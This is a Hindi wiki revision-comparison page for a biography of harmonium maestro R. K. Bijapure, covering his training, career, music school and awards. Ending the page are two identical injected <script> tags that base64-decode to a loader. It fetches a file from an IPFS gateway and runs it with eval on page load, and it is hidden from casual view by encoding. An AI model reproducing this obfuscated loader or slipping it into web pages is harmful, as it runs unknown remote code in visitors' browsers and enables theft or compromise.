"आर. के. बीजापुरे": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
(''''आर. के. बीजापुरे''' (अंग्रेज़ी: ''R. K. Bijapure'', जन्म- 7 जनवरी...' के साथ नया पृष्ठ बनाया)
 
No edit summary
पंक्ति 1: पंक्ति 1:
'''आर. के. बीजापुरे''' ([[अंग्रेज़ी]]: ''R. K. Bijapure'', जन्म- [[7 जनवरी]], [[1917]]; मृत्यु- [[19 नवंबर]], [[2010]]) भारतीय शास्त्रीय वादक कलाकार थे। वह संगीत वाद्य हारमोनियम के प्रसिद्ध वादक थे। उन्हें पंडित राम कल्लो बीजापुर उर्फ़ पंडित आर. के. बीजपुरे या विजापुर मास्टर के नाम से भी जाना जाता था।
{{सूचना बक्सा कलाकार
|चित्र=R-K-Bijapure.jpg
|चित्र का नाम=आर. के. बीजापुरे
|पूरा नाम=पंडित राम कल्लो बीजापुर
|प्रसिद्ध नाम=आर. के. बीजापुरे
|अन्य नाम=विजापुर मास्टर
|जन्म=[[7 जनवरी]], [[1917]]
|जन्म भूमि=कागवाड़, बेलगाम जिला, [[कर्नाटक]]
|मृत्यु=[[19 नवंबर]], [[2010]]
|मृत्यु स्थान=
|अभिभावक=[[पिता]]- कल्लोपंत बीजापुर
|पति/पत्नी=
|संतान=
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र=[[भारतीय शास्त्रीय संगीत]]
|मुख्य रचनाएँ=
|मुख्य फ़िल्में=
|विषय=
|शिक्षा=
|विद्यालय=
|पुरस्कार-उपाधि=कर्नाटक कला तिलक सम्मान, नादश्री पुरस्कार, संघकार पुरस्कार आदि।
|प्रसिद्धि=शास्त्रीय संगीतकार
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=[[भारत]] में [[रूस]] के त्योहार के दौरान पंडित आर. के. बीजापुरे के एकल को सुनने के बाद एक रूसी प्रतिनिधिमंडल मंत्रमुग्ध हो गया था। उन्होंने वीडियो पर विशेष रूप से हारमोनियम कीबोर्ड पर अपनी तेज उंगली को रिकॉर्ड किया।
|बाहरी कड़ियाँ=
|अद्यतन=
}}'''आर. के. बीजापुरे''' ([[अंग्रेज़ी]]: ''R. K. Bijapure'', जन्म- [[7 जनवरी]], [[1917]]; मृत्यु- [[19 नवंबर]], [[2010]]) भारतीय शास्त्रीय वादक कलाकार थे। वह संगीत वाद्य हारमोनियम के प्रसिद्ध वादक थे। उन्हें पंडित राम कल्लो बीजापुर उर्फ़ पंडित आर. के. बीजपुरे या विजापुर मास्टर के नाम से भी जाना जाता था।
==परिचय==
==परिचय==
आर. के. बीजापुरे का जन्म 1917 में कागवाड़, बेलगाम जिला, [[कर्नाटक]] में हुआ था। उनके [[पिता]] कल्लोपंत बीजापुर एक नाटककार और संगीतकार थे। आर. के. बीजापुरे के पहले गुरु अन्नगरी मलैया थे। उन्होंने राजवाडे, गोविंदराव गायकवाड़ और हनमंतराव वालवेकर से [[हारमोनियम]] में आगे का प्रशिक्षण लिया। उन्होंने संगीत के दिग्गजों से मुखर संगीत भी सीखा, जिनमें रामकृष्णबुआ वाज़े, पं. शिवरामबुआ वज़े, पं. कगलकरबुआ और पं. उत्तराकर्बुआ का नाम प्रमुख है।  
आर. के. बीजापुरे का जन्म 1917 में कागवाड़, बेलगाम जिला, [[कर्नाटक]] में हुआ था। उनके [[पिता]] कल्लोपंत बीजापुर एक नाटककार और संगीतकार थे। आर. के. बीजापुरे के पहले गुरु अन्नगरी मलैया थे। उन्होंने राजवाडे, गोविंदराव गायकवाड़ और हनमंतराव वालवेकर से [[हारमोनियम]] में आगे का प्रशिक्षण लिया। उन्होंने संगीत के दिग्गजों से मुखर संगीत भी सीखा, जिनमें रामकृष्णबुआ वाज़े, पं. शिवरामबुआ वज़े, पं. कगलकरबुआ और पं. उत्तराकर्बुआ का नाम प्रमुख है।  
पंक्ति 7: पंक्ति 39:
आर. के. बीजापुरे ने संगीत निर्देशक और हारमोनियम वादक के रूप में वेंकरावराव शिरहट्टी की ड्रामा कंपनी के लिए, एचएमवी कंपनी के लिए हारमोनियम वादक के रूप में, अखिला भारतीय गंधर्व महाविद्यालय के लिए एक संगीत परीक्षक के रूप में और कर्नाटक सरकार के लिए काम किया। उनमें हारमोनियम सोलो की अपनी अनूठी शैली है। उन्होंने [[पुणे]], [[हैदराबाद]], [[बैंगलोर]], कोल्हापुर, हुबली, धारवाड़ और देश के सभी प्रमुख संगीत केंद्रों में एकल प्रदर्शन दिया है।
आर. के. बीजापुरे ने संगीत निर्देशक और हारमोनियम वादक के रूप में वेंकरावराव शिरहट्टी की ड्रामा कंपनी के लिए, एचएमवी कंपनी के लिए हारमोनियम वादक के रूप में, अखिला भारतीय गंधर्व महाविद्यालय के लिए एक संगीत परीक्षक के रूप में और कर्नाटक सरकार के लिए काम किया। उनमें हारमोनियम सोलो की अपनी अनूठी शैली है। उन्होंने [[पुणे]], [[हैदराबाद]], [[बैंगलोर]], कोल्हापुर, हुबली, धारवाड़ और देश के सभी प्रमुख संगीत केंद्रों में एकल प्रदर्शन दिया है।


[[भारत]] में [[रूस]] के त्योहार के दौरान पंडित आर. के. बीजापुरे के एकल को सुनने के बाद एक रूसी प्रतिनिधिमंडल मंत्रमुग्ध हो गया था। उन्होंने वीडियो पर विशेष रूप से हारमोनियम कीबोर्ड पर अपनी तेज उंगली आंदोलनों को रिकॉर्ड किया। एक संगीतकार के रूप में वह पंडित सहित गायक की चार पीढ़ियों के साथ थे, जिनमें रामकृष्णबुआ वाज़े, पंडित शिवरामबुआ वज़े, पंडित कगलकरबुआ, पंडित सवाई गंधर्व, पंडित डी. वी. पलुस्कर, पंडित विनायकबुवा उत्तराकर, [[उस्ताद अमीर ख़ाँ]], [[बड़े गु़लाम अली ख़ान|उस्ताद बडे गुलाम अली ख़ाँ]], [[गंगूबाई हंगल|डॉ. गंगूबाई हंगल]], [[भीमसेन जोशी|पंडित भीमसेन जोशी]], पंडित बसवराज राजगुरु, पंडित मल्लिकार्जुन मंसूर, [[कुमार गंधर्व|पंडित कुमार गंधर्व]], पीटीए माणिक वर्मा, डॉ. प्रभा अत्रे, [[किशोरी अमोनकर]] आदि के नाम शामिल हैं। उनकी संगत की एक अनूठी [[शैली]] है। मुख्य कलाकारों के पूरक के रूप में वह कॉन्सर्ट में आकर्षण जोड़ने के लिए बीच में उपलब्ध ठहराव का उपयोग करता है। दर्शकों के साथ निरंतर तालमेल बनाना उनकी प्रस्तुति की एक और विशेषता है।
[[भारत]] में [[रूस]] के त्योहार के दौरान पंडित आर. के. बीजापुरे के एकल को सुनने के बाद एक रूसी प्रतिनिधिमंडल मंत्रमुग्ध हो गया था। उन्होंने वीडियो पर विशेष रूप से हारमोनियम कीबोर्ड पर अपनी तेज उंगली को रिकॉर्ड किया। एक संगीतकार के रूप में वह पंडित सहित गायक की चार पीढ़ियों के साथ थे, जिनमें रामकृष्णबुआ वाज़े, पंडित शिवरामबुआ वज़े, पंडित कगलकरबुआ, पंडित सवाई गंधर्व, पंडित डी. वी. पलुस्कर, पंडित विनायकबुवा उत्तराकर, [[उस्ताद अमीर ख़ाँ]], [[बड़े गु़लाम अली ख़ान|उस्ताद बडे गुलाम अली ख़ाँ]], [[गंगूबाई हंगल|डॉ. गंगूबाई हंगल]], [[भीमसेन जोशी|पंडित भीमसेन जोशी]], पंडित बसवराज राजगुरु, पंडित मल्लिकार्जुन मंसूर, [[कुमार गंधर्व|पंडित कुमार गंधर्व]], पीटीए माणिक वर्मा, डॉ. प्रभा अत्रे, [[किशोरी अमोनकर]] आदि के नाम शामिल हैं। उनकी संगत की एक अनूठी [[शैली]] है। मुख्य कलाकारों के पूरक के रूप में वह कॉन्सर्ट में आकर्षण जोड़ने के लिए बीच में उपलब्ध ठहराव का उपयोग करता है। दर्शकों के साथ निरंतर तालमेल बनाना उनकी प्रस्तुति की एक और विशेषता है।
==संगीत महाविद्यालय==
==संगीत महाविद्यालय==
संगीत गुरु के रूप में आर. के. बीजापुरे ने [[1938]] में "श्री राम संगीत महाविद्यालय" शुरू किया। 10,000 से अधिक छात्रों ने उनकी शिक्षा के तहत सीखा। उनके प्रसिद्ध शिष्यों में सुधांशु कुलकर्णी, रवींद्र माने, रवींद्र काटोती, कुंडा वेलिंग, श्रीधर कुलकर्णी, माला अधिपक, अपर्णा चिटनिस, माधुरी भावे, दीपाली मराठे और महेश तेलंग शामिल हैं।
संगीत गुरु के रूप में आर. के. बीजापुरे ने [[1938]] में "श्री राम संगीत महाविद्यालय" शुरू किया। 10,000 से अधिक छात्रों ने उनकी शिक्षा के तहत सीखा। उनके प्रसिद्ध शिष्यों में सुधांशु कुलकर्णी, रवींद्र माने, रवींद्र काटोती, कुंडा वेलिंग, श्रीधर कुलकर्णी, माला अधिपक, अपर्णा चिटनिस, माधुरी भावे, दीपाली मराठे और महेश तेलंग शामिल हैं।

17:48, 16 मई 2021 का अवतरण

आर. के. बीजापुरे
आर. के. बीजापुरे
आर. के. बीजापुरे
पूरा नाम पंडित राम कल्लो बीजापुर
प्रसिद्ध नाम आर. के. बीजापुरे
अन्य नाम विजापुर मास्टर
जन्म 7 जनवरी, 1917
जन्म भूमि कागवाड़, बेलगाम जिला, कर्नाटक
मृत्यु 19 नवंबर, 2010
अभिभावक पिता- कल्लोपंत बीजापुर
कर्म भूमि भारत
कर्म-क्षेत्र भारतीय शास्त्रीय संगीत
पुरस्कार-उपाधि कर्नाटक कला तिलक सम्मान, नादश्री पुरस्कार, संघकार पुरस्कार आदि।
प्रसिद्धि शास्त्रीय संगीतकार
नागरिकता भारतीय
अन्य जानकारी भारत में रूस के त्योहार के दौरान पंडित आर. के. बीजापुरे के एकल को सुनने के बाद एक रूसी प्रतिनिधिमंडल मंत्रमुग्ध हो गया था। उन्होंने वीडियो पर विशेष रूप से हारमोनियम कीबोर्ड पर अपनी तेज उंगली को रिकॉर्ड किया।

आर. के. बीजापुरे (अंग्रेज़ी: R. K. Bijapure, जन्म- 7 जनवरी, 1917; मृत्यु- 19 नवंबर, 2010) भारतीय शास्त्रीय वादक कलाकार थे। वह संगीत वाद्य हारमोनियम के प्रसिद्ध वादक थे। उन्हें पंडित राम कल्लो बीजापुर उर्फ़ पंडित आर. के. बीजपुरे या विजापुर मास्टर के नाम से भी जाना जाता था।

परिचय

आर. के. बीजापुरे का जन्म 1917 में कागवाड़, बेलगाम जिला, कर्नाटक में हुआ था। उनके पिता कल्लोपंत बीजापुर एक नाटककार और संगीतकार थे। आर. के. बीजापुरे के पहले गुरु अन्नगरी मलैया थे। उन्होंने राजवाडे, गोविंदराव गायकवाड़ और हनमंतराव वालवेकर से हारमोनियम में आगे का प्रशिक्षण लिया। उन्होंने संगीत के दिग्गजों से मुखर संगीत भी सीखा, जिनमें रामकृष्णबुआ वाज़े, पं. शिवरामबुआ वज़े, पं. कगलकरबुआ और पं. उत्तराकर्बुआ का नाम प्रमुख है।

आर. के. बीजापुरे ने अपनी शिक्षा के अंतर्गत संगीत विशारद (स्वर) और अखिल भारतीय गंधर्व महाविद्यालय से संगीत अलंकार की उपाधियाँ प्राप्त की थी।

कॅरियर

आर. के. बीजापुरे ने संगीत निर्देशक और हारमोनियम वादक के रूप में वेंकरावराव शिरहट्टी की ड्रामा कंपनी के लिए, एचएमवी कंपनी के लिए हारमोनियम वादक के रूप में, अखिला भारतीय गंधर्व महाविद्यालय के लिए एक संगीत परीक्षक के रूप में और कर्नाटक सरकार के लिए काम किया। उनमें हारमोनियम सोलो की अपनी अनूठी शैली है। उन्होंने पुणे, हैदराबाद, बैंगलोर, कोल्हापुर, हुबली, धारवाड़ और देश के सभी प्रमुख संगीत केंद्रों में एकल प्रदर्शन दिया है।

भारत में रूस के त्योहार के दौरान पंडित आर. के. बीजापुरे के एकल को सुनने के बाद एक रूसी प्रतिनिधिमंडल मंत्रमुग्ध हो गया था। उन्होंने वीडियो पर विशेष रूप से हारमोनियम कीबोर्ड पर अपनी तेज उंगली को रिकॉर्ड किया। एक संगीतकार के रूप में वह पंडित सहित गायक की चार पीढ़ियों के साथ थे, जिनमें रामकृष्णबुआ वाज़े, पंडित शिवरामबुआ वज़े, पंडित कगलकरबुआ, पंडित सवाई गंधर्व, पंडित डी. वी. पलुस्कर, पंडित विनायकबुवा उत्तराकर, उस्ताद अमीर ख़ाँ, उस्ताद बडे गुलाम अली ख़ाँ, डॉ. गंगूबाई हंगल, पंडित भीमसेन जोशी, पंडित बसवराज राजगुरु, पंडित मल्लिकार्जुन मंसूर, पंडित कुमार गंधर्व, पीटीए माणिक वर्मा, डॉ. प्रभा अत्रे, किशोरी अमोनकर आदि के नाम शामिल हैं। उनकी संगत की एक अनूठी शैली है। मुख्य कलाकारों के पूरक के रूप में वह कॉन्सर्ट में आकर्षण जोड़ने के लिए बीच में उपलब्ध ठहराव का उपयोग करता है। दर्शकों के साथ निरंतर तालमेल बनाना उनकी प्रस्तुति की एक और विशेषता है।

संगीत महाविद्यालय

संगीत गुरु के रूप में आर. के. बीजापुरे ने 1938 में "श्री राम संगीत महाविद्यालय" शुरू किया। 10,000 से अधिक छात्रों ने उनकी शिक्षा के तहत सीखा। उनके प्रसिद्ध शिष्यों में सुधांशु कुलकर्णी, रवींद्र माने, रवींद्र काटोती, कुंडा वेलिंग, श्रीधर कुलकर्णी, माला अधिपक, अपर्णा चिटनिस, माधुरी भावे, दीपाली मराठे और महेश तेलंग शामिल हैं।

पुरस्कार व सम्मान

  • 1985 - संगीत नृत्य अकादमी द्वारा कर्नाटक कला तिलक सम्मान
  • 1992 - हिंदुस्तानी संगीत कलाकर मंडली, बैंगलोर द्वारा नादश्री पुरस्कार
  • 1999 - संघकार पुरस्कार, गंधर्व महाविद्यालय, पुणे
  • 2001 - मैसूर में आयोजित दशहरा समारोह में राज्य संगीत विद्यालय सम्मान
  • 2003 - टी. चोकदयाह प्रशस्ति
  • 2006 - अखिल भारतीय गन्धर्व महाविद्यालय मंडल द्वारा 'महामहोपाध्याय' उपाधि

मृत्यु

उम्र से संबंधित स्वास्थ्य मुद्दों के कारण 19 नवंबर, 2010 को आर. के. बीजापुरे की मृत्यु हो गई। वह अपने अंतिम दिनों तक अपने शिष्यों को सक्रिय रूप से पढ़ाते रहे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>